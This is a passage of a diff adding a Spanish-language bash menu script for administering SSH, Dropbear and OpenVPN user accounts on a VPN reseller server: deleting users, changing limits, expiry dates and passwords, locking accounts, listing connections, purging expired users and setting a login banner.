+name="$select_name"
+[[ -z $name ]] && return
+[[ $(cat /etc/scpdk1/userDIR/$name | grep "limite" | awk '{print $2}') = "HWID" ]] && nameFX="$(cat /etc/scpdk1/userDIR/$name | grep "senha" | awk '{print $2}')" || nameFX=$name
+[[ $(cat /etc/scpdk1/userDIR/$name | grep "limite" | awk '{print $2}') = "TOKEN" ]] && nameFX="$(cat /etc/scpdk1/userDIR/$name | grep "senha" | awk '{print $2}')" || nameFX=$name
+[[ "$OPENVPN" = "on" ]] && open_2 $name && msg -bar&& return
+userdel --force $name > /dev/null 2>/dev/null
+kill -9 `ps aux |grep -vi '[a-z]$name' |grep -vi '$name[a-z]' |grep -v '[1-9]$name' |grep -v '$name[1-9]' |grep $name |awk {'print $2'}` 2> /dev/null
+pid_kill=$(dropbear_pids | grep "$name" | awk '{print $2}')
+uskk=$(cat /bin/ejecutar/uskill)
+let uskk=$uskk+$cco
+echo $uskk > /bin/ejecutar/uskill
+[[ ! -z $pid_kill ]] && drop_kill $name
+[[ -e /etc/usuariosteste/$name ]] && rm /etc/usuariosteste/$name && msg -bar
+echo -e " $nameFX ${cor[2]} ELIMINADO "
+msg -bar
+return
+;;
+2)
+for name in `cat "/etc/passwd"|grep 'home'|grep 'false'|grep -v 'syslog' | cut -d: -f1 |sort`; do
+msg -bar
+echo -e "${cor[5]} ELIMINAR A $name ?"
+read -p " [S/N]: " _remover_
+if [[ "$_remover_" = "s" || "$_remover_" = "S" ]]; then
+ if [ "$OPENVPN" = "on" ]; then
+open_2 $name
+ else
+userdel --force $name > /dev/null 2>&1
+kill -9 `ps aux |grep -vi '[a-z]$name' |grep -vi '$name[a-z]' |grep -v '[1-9]$name' |grep -v '$name[1-9]' |grep $name |awk {'print $2'}` > /dev/null 2>&1
+pid_kill=$(dropbear_pids | grep "$name" | awk '{print $2}')
+uskk=$(cat /bin/ejecutar/uskill)
+let uskk=$uskk+$cco
+echo $uskk > /bin/ejecutar/uskill
+[[ ! -z $pid_kill ]] && drop_kill $name
+[[ -e $dir_user/$name ]] && rm $dir_user/$name
+echo -e "\033[1;37m $name ${cor[5]} ELIMINADO"
+fi
+fi
+done
+msg -bar
+;;
+3)
+function_6
+msg -bar
+return
+;;
+esac
+}
+
+
+function_3 () {
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+msg -bar
+echo -e "${cor[4]} "
+msg -bar
+unset select_name namer nameFX
+select_users 'MODIFICAR DATOS DE USUARIOS'
+if [ "$select_name" = "" ]; then
+return
+fi
+namer="$select_name"
+[[ $(cat /etc/scpdk1/userDIR/$namer | grep "limite" | awk '{print $2}') = "HWID" ]] && nameFX="$(cat /etc/scpdk1/userDIR/$u | grep "senha" | awk '{print $2}')" || nameFX=$namer
+[[ $(cat /etc/scpdk1/userDIR/$namer | grep "limite" | awk '{print $2}') = "TOKEN" ]] && nameFX="$(cat /etc/scpdk1/userDIR/$u | grep "senha" | awk '{print $2}')" || nameFX=$namer
+meu_ip
+echo -e "${cor[5]} ESCOJE LA OPCION A CAMBIAR DE $namer"
+msg -bar
+echo -e "\033[0;35m [\033[0;36m1\033[0;35m]\033[0;31m >${cor[3]} NUMERO DE LOGINS DE \033[0;36m$nameFX"
+echo -e "\033[0;35m [\033[0;36m2\033[0;35m]\033[0;31m >${cor[3]} FECHA DE EXPIRACION DE \033[0;36m$nameFX"
+echo -e "\033[0;35m [\033[0;36m3\033[0;35m]\033[0;31m >${cor[3]} CONTRASEÑA LOGIN DE \033[0;36m$nameFX"
+msg -bar
+read -p " SELECCIONA UNA OPC : " _opt
+[[ "$_opt" = "1" ]] && {
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+read -p " NUEVO LIMITE DE CONEXIONES : " new_limit
+number_var $new_limit
+tput cuu1 && tput dl1
+ if [ "$new_limit" = "" ]; then
+echo -e "${cor[5]} \033[1;31m NO SE REGISTRO LIMITE! REGRESANDO. . ."
+return
+ fi
+usr_var=$(cat $dir_user/$namer | grep -v "limite:")
+echo "$usr_var" > $dir_user/$namer
+echo "limite: $new_limit" >> $dir_user/$namer
+msg -bar
+echo -e "${cor[5]} $select_user - $select_name"
+echo -e " ✭ Perfecto, HEMOS CAMBIADO SU LIMITE DE CONEXIONES!! ✭ "
+echo -e " RENOVADO EL : $(date "+%d/%m/%Y") "
+echo -e " Host / IP : ${cor[4]}$IP"
+echo -e " SU CLIENTE : $nameFX "
+echo -e " NUEVO LIMITE : $new_limit "
+pkill -u $nameFX
+msg -bar
+unset new_limit
+unset usr_var
+return
+}
+[[ "$_opt" = "2" ]] && {
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+add_dias() {
+echo -ne "${cor[5]} NUMEROS DE DIAS A AGREGAR"
+read -p " : " date
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+ if [ "$date" = "" ]; then
+echo -e "\033[1;31m ⚠️ NO SE REGISTRO DIAS! REGRESANDO ⚠️"
+return
+ fi
+#echo -e " CALCULANDO DIAS RESTANTES DE $namer" | pv -qL 40
+data=$(cat $dir_user/$namer | grep "data" | awk '{print $2}')
+data_sec=$(date +%s)
+data_user=$(chage -l "$namer" |grep -i co |awk -F ":" '{print $2}')
+data_user_sec=$(date +%s --date="$data_user")
+variavel_soma=$(($data_user_sec - $data_sec))
+dias_use=$(($variavel_soma / 86400))
+#echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
+[[ $dias_use -ge 0 ]] && {
+date=$(($dias_use + $date))
+echo -e "\033[1;32m $dias_use DIAS RECUPERADOS &&"
+tput cuu1 && tput dl1
+} || {
+#[[ $dias_use < 0 ]] && dias_use=0
+echo -e "\033[1;31m $dias_use DIAS RECUPERADOS &&"
+tput cuu1 && tput dl1
+}
+limite=$(cat $dir_user/$namer | grep "limite" | awk '{print $2}')
+if [ -z "$limite" ]; then
+limite="null"
+fi
+clear&&clear
+datexp=$(date "+%d/%m/%Y" -d " + $date days")
+valid=$(date '+%C%y-%m-%d' -d " + $date days")
+ if [[ $(passwd --status $namer|cut -d ' ' -f2) = "L" ]]; then
+ usermod -U $namer
+ sleep 2
+ msg -verd " ⚠️ UNLOCK ⚠️ "
+ fi
+chage -E $valid $namer 2> /dev/null
+[[ -e /etc/scpdk1/userDIR/$namer.exp ]] && {
+pass="$(cat < /etc/scpdk1/userDIR/$namer.exp)"
+(echo "$pass" ; echo "$pass" ) |passwd $namer > /dev/null 2>/dev/null
+rm -f /etc/scpdk1/userDIR/$namer.exp
+}
+usr_var=$(cat $dir_user/$namer | grep -v "data")
+echo -e "$usr_var" > $dir_user/$namer
+echo -e "data: $valid" >> $dir_user/$namer
+msg -bar
+echo -e "${cor[5]} $select_user - $select_name"
+echo -e " ✭ Perfecto, Hemos Renovado tu Membresia!! ✭ "
+echo -e " RENOVADO EL : $(date "+%d/%m/%Y") "
+echo -e " Host / IP : ${cor[4]}$IP"
+echo -e " SU CLIENTE : $nameFX "
+echo -e " USER LIMITED : $limite "
+echo -e " VALIDO HASTA : $datexp"
+echo -e "${cor[5]} RENUEVA EN $date DIAS, DISFRUTE SU ESTANCIA!. "
+pkill -u $namer
+msg -bar
+unset datexp
+unset valid
+unset usr_var
+return
+}
+
+del_dias() {
+echo -ne "${cor[5]} NUMEROS DE DIAS A QUITAR"
+read -p " : " date
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+ if [ "$date" = "" ]; then
+echo -e "\033[1;31m ⚠️ NO SE REGISTRO DIAS! REGRESANDO ⚠️"
+return
+ fi
+data=$(cat $dir_user/$namer | grep "data" | awk '{print $2}')
+data_sec=$(date +%s)
+data_user=$(chage -l "$namer" |grep -i co |awk -F ":" '{print $2}')
+data_user_sec=$(date +%s --date="$data_user")
+variavel_soma=$(($data_user_sec - $data_sec))
+dias_use=$(($variavel_soma / 86400))
+[[ $dias_use -ge 0 ]] && {
+date=$(($dias_use - $date))
+echo -e "\033[1;32m $dias_use DIAS RECUPERADOS &&"
+tput cuu1 && tput dl1
+} || {
+echo -e "\033[1;31m $dias_use DIAS RECUPERADOS &&"
+tput cuu1 && tput dl1
+}
+limite=$(cat $dir_user/$namer | grep "limite" | awk '{print $2}')
+if [ -z "$limite" ]; then
+limite="null"
+fi
+clear&&clear
+datexp=$(date "+%d/%m/%Y" -d " + $date days")
+valid=$(date '+%C%y-%m-%d' -d " + $date days")
+ if [[ $(passwd --status $namer|cut -d ' ' -f2) = "L" ]]; then
+ usermod -U $namer
+ sleep 2
+ msg -verd " ⚠️ UNLOCK ⚠️ "
+ fi
+chage -E $valid $namer 2> /dev/null
+[[ -e /etc/scpdk1/userDIR/$namer.exp ]] && {
+pass="$(cat < /etc/scpdk1/userDIR/$namer.exp)"
+(echo "$pass" ; echo "$pass" ) |passwd $namer > /dev/null 2>/dev/null
+rm -f /etc/scpdk1/userDIR/$namer.exp
+}
+usr_var=$(cat $dir_user/$namer | grep -v "data")
+echo -e "$usr_var" > $dir_user/$namer
+echo -e "data: $valid" >> $dir_user/$namer
+echo -e "${cor[5]} $select_user - $select_name"
+echo -e " ✭ Perfecto, Hemos Renovado tu Membresia!! ✭ "
+echo -e " RENOVADO EL : $(date "+%d/%m/%Y") "
+echo -e " Host / IP : ${cor[4]}$IP"
+echo -e " SU CLIENTE : $nameFX "
+echo -e " 📱 PERMITIDOS : $limite "
+echo -e " VALIDO HASTA : $datexp"
+echo -e "${cor[5]} RENUEVA EN $(($date + 1 )) DIAS, DISFRUTE SU ESTANCIA!. "
+msg -bar
+pkill -u $namer
+unset datexp
+unset valid
+unset usr_var
+return
+}
+
+ren_dias() {
+echo -ne "${cor[5]} NUMEROS DE DIAS "
+read -p " : " date
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+ if [ "$date" = "" ]; then
+echo -e "\033[1;31m ⚠️ NO SE REGISTRO DIAS! REGRESANDO ⚠️"
+return
+ fi
+limite=$(cat $dir_user/$namer | grep "limite" | awk '{print $2}')
+if [ -z "$limite" ]; then
+limite="null"
+fi
+clear&&clear
+datexp=$(date "+%d/%m/%Y" -d " + $date days")
+valid=$(date '+%C%y-%m-%d' -d " + $date days")
+ if [[ $(passwd --status $namer|cut -d ' ' -f2) = "L" ]]; then
+ usermod -U $namer
+ sleep 2
+ msg -verd " ⚠️ UNLOCK ⚠️ "
+ fi
+chage -E $valid $namer 2> /dev/null
+[[ -e /etc/scpdk1/userDIR/$namer.exp ]] && {
+pass="$(cat < /etc/scpdk1/userDIR/$namer.exp)"
+(echo "$pass" ; echo "$pass" ) |passwd $namer > /dev/null 2>/dev/null
+rm -f /etc/scpdk1/userDIR/$namer.exp
+}
+echo -e "${cor[5]} CAMBIADO !"
+usr_var=$(cat $dir_user/$namer | grep -v "data")
+echo -e "$usr_var" > $dir_user/$namer
+echo -e "data: $valid" >> $dir_user/$namer
+msg -bar
+echo -e "${cor[5]} $select_user - $select_name"
+echo -e " ✭ Perfecto, Hemos Renovado tu Membresia!! ✭ "
+echo -e " RENOVADO EL : $(date "+%d/%m/%Y") "
+echo -e " Host / IP : ${cor[4]}$IP"
+echo -e " SU CLIENTE : $nameFX "
+echo -e " 📱 PERMITIDOS : $limite "
+echo -e " VALIDO HASTA : $datexp"
+echo -e "${cor[5]} RENUEVA EN $(($date + 1 )) DIAS, DISFRUTE SU ESTANCIA!. "
+pkill -u $namer
+msg -bar
+unset datexp
+unset valid
+unset usr_var
+return
+}
+
+echo -e "${cor[5]} ESCOJE LA OPCION A CAMBIAR DE $nameFX"
+msg -bar
+echo -e "\033[0;35m [\033[0;36m1\033[0;35m]\033[0;31m >${cor[3]} AÑADIR DIAS A \033[0;36m$nameFX"
+echo -e "\033[0;35m [\033[0;36m2\033[0;35m]\033[0;31m >${cor[3]} QUITAR DIAS A \033[0;36m$nameFX"
+echo -e "\033[0;35m [\033[0;36m3\033[0;35m]\033[0;31m >${cor[3]} REINICIAR DIAS A \033[0;36m$nameFX"
+msg -bar
+read -p " OPCION " _ropt
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+[[ $_ropt = "1" ]] && add_dias
+[[ $_ropt = "2" ]] && del_dias
+[[ $_ropt = "3" ]] && ren_dias
+return
+}
+[[ "$_opt" = "3" ]] && {
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+echo -e "${cor[5]} NUEVA CONTRASEÑA PARA $nameFX"
+read -p " : " nova_senha
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+[[ "$nova_senha" = "" ]] && echo -e "${cor[5]}❌ CONTRASEÑA NO MODIFICADA ❌" && return
+(echo "$nova_senha" ; echo "$nova_senha" ) |passwd $namer > /dev/null 2>/dev/null
+usr_var1=$(cat $dir_user/$namer | grep -v "senha")
+echo -e "$usr_var1" > $dir_user/$namer
+echo -e "senha: $nova_senha" >> $dir_user/$namer
+[[ -e /etc/scpdk1/userDIR/$namer.exp ]] && rm -f /etc/scpdk1/userDIR/$namer.exp
+msg -bar
+echo -e "${cor[5]} $select_user - $select_name"
+echo -e " ✭ Perfecto, HEMOS CAMBIADO SU CONTRASEÑA!! ✭ "
+echo -e " RENOVADO EL : $(date "+%d/%m/%Y") "
+echo -e " Host / IP : ${cor[4]}$IP"
+echo -e " SU CLIENTE : $nameFX "
+echo -e " NUEVA CLAVE : $nova_senha "
+pkill -u $namer
+msg -bar
+unset nova_senha
+unset usr_var1
+return
+}
+[[ -z $_opt ]] && echo "⚠️ SIN SELECCION ⚠️"
+}
+
+block_user () {
+
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+msg -bar
+#msg -bar
+echo -e "${cor[4]} LOCK / UNLOCK USUARIO PRIVADO "
+msg -bar
+unset select_name namer nameFX
+select_users 'LOCK / UNLOCK USUARIO PRIVADO'
+[[ -z $select_name ]] && return
+namer="$select_name"
+local lmt="$(cat /etc/scpdk1/userDIR/$namer | grep "limite" | awk '{print $2}')"
+[[ $(echo $lmt) = "HWID" ]] && nameFX="$(cat /etc/scpdk1/userDIR/$u | grep "senha" | awk '{print $2}')" || nameFX=$namer
+[[ $(echo $lmt) = "TOKEN" ]] && nameFX="$(cat /etc/scpdk1/userDIR/$u | grep "senha" | awk '{print $2}')" || nameFX=$namer
+echo -e "${cor[5]} VERIFICANDO ESTADO DE $nameFX "
+msg -bar
+########
+ if [[ $(passwd --status $namer|cut -d ' ' -f2) = "P" ]]; then
+ echo -e "${cor[5]}Bloqueando USER "
+ pkill -u $namer &>/dev/null
+ droplim=`dropbear_pids|grep -w "$namer"|awk '{print $2}'`
+ kill -9 $droplim &>/dev/null
+ usermod -L $namer &>/dev/null
+ sleep 2
+ msg -verm2 " ⚠️ LOCK ⚠️"
+ else
+ usermod -U $namer
+ sleep 2
+ msg -verd " ⚠️ UNLOCK ⚠️ "
+ fi
+pkill -u $namer
+kill -9 `ps aux |grep -vi '[a-z]$namer' |grep -vi '$namer[a-z]' |grep -v '[1-9]$namer' |grep -v '$namer[1-9]' |grep $namer |awk {'print $2'}` 2> /dev/null
+return
+}
+
+function_4 () {
+
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+msg -bar
+echo -e "${cor[4]} > USUARIO CONTRASEÑA LIMITE USO TIEMPO"
+msg -bar
+_cont="0"
+for namer in `cat "/etc/passwd"|grep 'home'|grep 'false'|grep -v 'syslog' | cut -d: -f1`; do
+if [ "$namer" = "" ]; then
+break
+fi
+if [ -e $dir_user/$namer ]; then
+_sen=$(cat $dir_user/$namer | grep "senha" | awk '{print $2}')
+_limit=$(cat $dir_user/$namer | grep "limite" | awk '{print $2}')
+[[ ${_limit} = "HWID" ]] && token="$_sen"
+else
+_limit="∞"
+_sen="∞"
+fi
+[[ -z "$_limit" ]] && _limit="⚠️ ?? ⚠️"
+[[ -z "$_sen" ]] && _sen="⚠️ ?? ⚠️"
+data_sec=$(date +%s)
+data_user=$(chage -l "$namer" |grep -i co |awk -F ":" '{print $2}')
+if [ "$data_user" = " never" ]; then
+dias_user="\033[1;37mINDEFINIDO"
+ else
+data_user_sec=$(date +%s --date="$data_user")
+ if [ "$data_sec" -gt "$data_user_sec" ]; then
+dias_user="\033[1;31mEXP"
+else
+variavel_soma=$(($data_user_sec - $data_sec))
+dias_use=$(($variavel_soma / 86400))
+dias_user="\033[1;32m$dias_use DIAS"
+ fi
+fi
+unset SEC
+unset MIN
+unset HOR
+#SEC=$(cat $namer.time | grep "$namer" | awk '{print $2}')
+[[ -e /etc/scpdk1/userDIR/$namer.time ]] && SEC=$(cat /etc/scpdk1/userDIR/$namer.time) || SEC="0"
+number_var $SEC
+if [ "$var_number" = "" ]; then
+SEC="0"
+ else
+SEC="$var_number"
+fi
+hour_var=$(echo "HORAS" | cut -b 1)
+min_var=$(echo "ACTA" | cut -b 1)
+MIN=$(($SEC / 60))
+SEC=$(($SEC - $MIN * 60))
+HOR=$(($MIN / 60))
+MIN=$(($MIN - $HOR * 60))
+txto[1]=$(printf '%-10s' "$namer")
+txto[2]=$(printf '%-12s' "$_sen")
+txto[3]=$(printf '%-10s' "$_limit")
+txto[4]=$(printf '%-10s' "${HOR}h:${MIN}m:${SEC}s")
+[[ $(passwd --status $namer|cut -d ' ' -f2) = "L" ]] && txto[5]="\033[1;31mLOCK" || txto[5]=$(printf '%-2s' "$dias_user")
+#$dir_user/$namer.block
+unset open_vpn
+tmp="$(cat /etc/passwd | grep -v ovpn | cat "/etc/passwd"|grep 'home'|grep 'false'|grep -v 'syslog' | cut -d: -f1)"
+open_vpn=$(echo "$tmp" | grep "$namer")
+_cont=$(($_cont + 1))
+#[[ ${#_cont} < 2 ]] && _contx="0$_cont"
+if [ "$open_vpn" != "" ]; then
+#user ssh
+[[ -e $dir_user/$namer ]] && [[ $(cat $dir_user/$namer | grep "limite" | awk '{print $2}') = "HWID" || $(cat $dir_user/$namer | grep "limite" | awk '{print $2}') = "TOKEN" ]] && {
+ [[ $(cat $dir_user/$namer | grep "limite" | awk '{print $2}') = "HWID" ]] && echo -e "\033[0;35m [\033[0;36m$_cont\033[0;35m]\033[0;31m ${cor[7]} ${txto[2]} ${txto[3]} ${txto[4]} ${txto[5]}" && echo -e " \033[1;32m ⤷ HWID ${cor[2]}- \033[1;31m${txto[1]} "
+ [[ $(cat $dir_user/$namer | grep "limite" | awk '{print $2}') = "TOKEN" ]] && echo -e "\033[0;35m [\033[0;36m$_cont\033[0;35m]\033[0;31m ${cor[7]} ${txto[2]} ${txto[3]} ${txto[4]} ${txto[5]}" && echo -e " \033[1;32m ⤷ TOKEN ${cor[2]}- \033[1;31m${txto[1]} "
+ } || {
+ echo -e "\033[0;35m [\033[0;36m$_cont\033[0;35m]\033[0;31m ${cor[2]}${cor[7]} ${txto[1]} ${txto[2]} ${txto[3]} ${txto[4]} ${txto[5]}"
+ }
+ else
+#user openvpn
+echo -e "\033[0;35m [\033[0;36m$_cont\033[0;35m]\033[0;31m ${cor[5]} ${txto[1]} ${txto[2]} ${txto[3]} ${txto[4]} ${txto[5]}"
+fi
+done
+msg -bar
+echo -e " \033[1;32m 🔰 # TIENES \033[1;33m [ \033[1;36m${_cont}\033[1;33m ]\033[1;32m CLIENTES EN TU SERVIDOR 🔰 #"
+msg -bar
+unset txt_
+}
+
+
+function_5 () {
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+cab=$(printf '%-15s%-15s%-9s' 'USUARIO' 'CONEXIONES' 'TIEMPO HH:MM:SS')
+msg -bar
+echo -e "\E[41;1;37m $cab\E[0m"
+unset conex1
+msg -bar
+_data_now=$(date +%s)
+[[ -z $(locale | grep "LANG=" | cut -d "=" -f2) ]] && export LANG=en_US.UTF-8
+nU=1
+for user in `cat "/etc/passwd"|grep 'home'|grep 'false'|grep -v 'syslog' | cut -d: -f1 |sort -f`; do
+i=${user}
+sqd="$(ps -u $user | grep sshd | wc -l)"
+[[ "$sqd" = "" ]] && sqd=0
+[[ -e /etc/openvpn/openvpn-status.log ]] && ovp="$(cat /etc/openvpn/openvpn-status.log | grep -E ,"$user", | wc -l)" || ovp=0
+if netstat -nltp|grep 'dropbear'> /dev/null;then
+ drop="$(dropbear_pids | grep "$user" | wc -l)"
+ else
+ drop=0
+fi
+cnx=$(($sqd + $drop))
+conex=$(($cnx + $ovp))
+local _time="$(ps -o etime $(ps -u $user |grep sshd |awk 'NR==1 {print $1}')|awk 'NR==2 {print $1}')"
+if [[ $cnx -gt 0 ]]; then
+ tst="${_time}"
+ tst1=$(echo "$tst" | wc -c)
+if [[ "$tst1" == "9" ]]; then
+ timerr="${_time}"
+else
+ timerr="$(echo "00:$tst")"
+fi
+elif [[ $ovp -gt 0 ]]; then
+ tmp2=$(printf '%(%H:%M:%S)T\n')
+ tmp1="$(grep -w "$i" /etc/openvpn/openvpn-status.log |awk '{print $4}'| head -1)"
+ [[ "$tmp1" = "" ]] && tmp1="00:00:00" && tmp2="00:00:00"
+ var1=`echo $tmp1 | cut -c 1-2`
+ var2=`echo $tmp1 | cut -c 4-5`
+ var3=`echo $tmp1 | cut -c 7-8`
+ var4=`echo $tmp2 | cut -c 1-2`
+ var5=`echo $tmp2 | cut -c 4-5`
+ var6=`echo $tmp2 | cut -c 7-8`
+ calc1=`echo $var1*3600 + $var2*60 + $var3 | bc`
+ calc2=`echo $var4*3600 + $var5*60 + $var6 | bc`
+ seg=$(($calc2 - $calc1))
+ min=$(($seg/60))
+ seg=$(($seg-$min*60))
+ hor=$(($min/60))
+ min=$(($min-$hor*60))
+ timerusr=`printf "%02d:%02d:%02d \n" $hor $min $seg;`
+ timerr=$(echo "$timerusr" | sed -e 's/[^0-9:]//ig' )
+else
+ timerr="00:00:00"
+fi
+[[ -e $dir_user/${user} ]] && {
+
+[[ $(cat $dir_user/${user} | grep "limite" | awk '{print $2}') = "HWID" ]] && {
+user="$(cat $dir_user/${user} | grep "senha" | awk '{print $2}') \033[1;33m[\033[1;34mHWID\033[1;33m]\033[1;32m"
+_limiter="/${_limTOP}\033[1;33m]\033[1;32m"
+} || {
+[[ $(cat $dir_user/${user} | grep "limite" | awk '{print $2}') = "TOKEN" ]] && {
+user="$(cat $dir_user/${user} | grep "senha" | awk '{print $2}') \033[1;33m[\033[1;35mTOKEN\033[1;33m]\033[1;32m"
+_limiter="/${_limTOP}\033[1;33m]\033[1;32m"
+ }
+ } || {
+ _limiter="\033[1;32m/\033[1;31m$(cat $dir_user/${user} | grep "limit" | awk '{print $2}')\033[1;33m]\033[1;32m"
+ }
+} || _limiter='/⚠️\033[1;33m]\033[1;32m'
+if [ "$conex" -gt "0" ]; then
+conex1+="${conex}+"
+#lim="\033[1;33m[\033[1;35m$(printf '%-7s' ${conex}${_limiter})"
+#local users=" ${user}, $lim, ${timerr}, ${cor[0]}"
+#echo -e "$users" | column -e -t -s ","
+lim="\033[1;33m[\033[1;35m${conex}${_limiter}"
+users=$(printf '%-15s%-15s%-15s' "${user} " " ${lim} " "${timerr}" )
+echo -e "\033[0;35m [\033[0;36m$nU\033[0;35m]\033[0;31m-${cor[3]}$users ${cor[0]}"
+let nU++
+fi
+done
+conex1+="0"
+conex1=$(echo $conex1|bc)
+[[ "$conex1" = "" ]] && echo -e "\033[1;31m ⚠️ NO TIENES USUARIOS CONECTADOS ! ⚠️ "
+msg -bar
+echo -e " \033[1;32m 🔰 # TIENES \033[1;33m [ \033[1;36m${conex1}\033[1;33m ]\033[1;32m USUARIOS CONECTADOS 🔰 #"
+msg -bar
+}
+
+function_6 () {
+
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+
+unset _removidos
+msg -bar
+datenow=$(date +%s)
+for user in $(awk -F: '{print $1}' /etc/passwd); do
+expdate=$(chage -l $user|awk -F: '/Account expires/{print $2}')
+echo $expdate|grep -q never && continue
+datanormal=$(date -d"$expdate" '+%d/%m/%Y')
+expsec=$(date +%s --date="$expdate")
+diff=$(echo $datenow - $expsec|bc -l)
+echo $diff|grep -q ^\- && continue
+userdel --force $user > /dev/null 2>/dev/null
+kill -9 `ps aux |grep -vi '[a-z]$user' |grep -vi '$user[a-z]' |grep -v '[1-9]$user' |grep -v '$user[1-9]' |grep $user |awk {'print $2'}` 2> /dev/null
+pid_kill=$(dropbear_pids | grep "$user" | awk '{print $2}')
+uskk=$(cat /bin/ejecutar/uskill)
+let uskk=$uskk+$cco
+echo $uskk > /bin/ejecutar/uskill
+[[ "$pid_kill" != "" ]] && drop_kill $user
+[[ "$OPENVPN" = "on" ]] && open_2 $name
+[[ -e $dir_user/$user ]] && rm $dir_user/$user
+_removidos="on"
+echo -e "\033[1;37m $user ${cor[2]} ELIMINADO "
+done
+if [ "$_removidos" = "" ]; then
+echo -e "${cor[5]} ⚠️ No hay Usuarios Vencidos! ⚠️ "
+unset _removidos
+fi
+msg -bar
+}
+
+ban_per () {
+clear
+local="/etc/bannerssh"
+msg -bar
+echo -e "\033[1;37m ∆ Linux Dist: $_os\033[0m"
+msg -bar
+echo -e "\033[1;37m - BANNER Manipulado - \033[0m"
+msg -bar
+echo -e "\033[1;37mSeleccione su Sistema: Para Salir Ctrl + C o 0 Para Regresar\033[1;33m"
+echo -e " \033[1;31m[ !!! ]\033[1;33m PEGA AQUI TU BANNER \033[1;31m\033[1;33m"
+msg -bar
+echo -e " \033[1;31mLuego de Pegar tu banner Presiona Ctrl + O y Enter \033[1;33m \033[1;31m\033[1;33m"
+echo -e " \033[1;31m Por Ultimo Ctrl + X \033[1;33m \033[1;31m\033[1;33m"
+echo -ne "\033[1;37m"
+read -p " Presiona Enter para Continuar "
+apt install nano -y > /dev/null 2>&1
+nano /bin/ejecutar/bannerssh
+cat /bin/ejecutar/bannerssh > /etc/bannerssh
+rm /bin/ejecutar/bannerssh
+fun_bar
+#[[ ! -e /root/name ]] && credi="@ChumoGH" || credi=$(cat < /root/name)
+#echo ''$(cat /bin/ejecutar/menu_credito)'® | '$credi'
' >> /etc/bannerssh
+[[ -d /etc/dropbear ]] && {
+[[ -e /etc/bannerssh ]] && cat /etc/bannerssh > /etc/dropbear/banner
+} || men="NO EXISTE DROPBEAR"
+msg -bar
+echo -ne " \033[1;31m[ ! ] VERIFICANDO DROPBEAR "
+service dropbear restart > /dev/null 2>&1
+[[ -e /etc/init.d/dropbear ]] && {
+/etc/init.d/dropbear restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || {
+echo -e "\033[1;31m - BANNER INCOMPATIBLE CON DROPBEAR -\n" && echo "DESTRUYENDO DISEÑO"
+echo "" > /etc/dropbear/banner
